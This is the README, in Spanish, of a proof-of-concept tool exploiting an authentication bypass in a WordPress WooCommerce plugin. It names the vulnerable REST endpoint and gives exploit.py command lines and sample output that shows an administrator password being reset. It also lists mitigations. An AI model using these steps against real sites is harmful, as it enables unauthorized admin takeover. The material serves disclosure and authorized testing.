WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - Bypass de Autenticación para Toma de Control de Cuenta de Administrador

Resumen

Esta herramienta es un exploit de prueba de concepto para CVE-2026-10580, una vulnerabilidad de bypass de autenticación que afecta al plugin de WordPress Hippoo Mobile App for WooCommerce (versiones <= 1.9.4). La vulnerabilidad permite a atacantes no autenticados restablecer la contraseña de cualquier usuario, incluidos los administradores, lo que lleva a una toma de control completa del sitio.

⚠️ Importante: Esta herramienta es únicamente para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito para probar es ilegal.

Características

• Enumera todos los usuarios de WordPress a través del endpoint vulnerable de la API REST
• Restablece la contraseña para un ID de usuario especificado (por defecto: ID de administrador 1)
• Interfaz de línea de comandos simple con salida coloreada
• Opción para deshabilitar la verificación SSL en entornos de prueba

Uso

Prerrequisitos

• Python 3.6+
• Librería requests

Instala las dependencias:

pip install requests

Comando Básico

python3 exploit.py -t https://target-site.com -p NewPassword123!

Opciones

Ejemplos

Explotación con ID de administrador predeterminado (1) y verificación SSL:

python3 exploit.py -t https://example.com -p PwnedCVE2026!!

Apuntar a un ID de usuario específico y deshabilitar verificación SSL:

python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k

Ejecutar sin el banner:

python3 exploit.py -t https://example.com -p NewPass123 --no-banner

Salida de Ejemplo

[+] Found 3 user(s)
    - User ID: 1 | Username: admin | Role: administrator
    - User ID: 2 | Username: editor_user | Role: editor
    - User ID: 3 | Username: subscriber1 | Role: subscriber

╔══════════════════════════════════════════════════════════════╗
║             ADMIN TAKEOVER SUCCESSFUL                        ║
╚══════════════════════════════════════════════════════════════╝
    Target: https://example.com
    Login: https://example.com/wp-admin
    Username: admin
    Password: PwnedCVE2026!!

Mitigación

Si estás utilizando el plugin Hippoo, actualízalo inmediatamente a una versión parcheada (>1.9.4). Además:

• Audita regularmente las cuentas de usuario en busca de cambios no autorizados
• Monitorea los registros en busca de solicitudes API inesperadas a /wp-json/wc-hippoo/v1/ext/wp/v2/users
• Considera restringir el acceso a la API REST de WordPress si no es requerida

Licencia

Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.

Autor

0xgh057r3c0n

Descargo de responsabilidad

El autor no se hace responsable por el mal uso de esta herramienta. Úsala de manera responsable y solo en sistemas que poseas o para los que tengas permiso explícito para probar.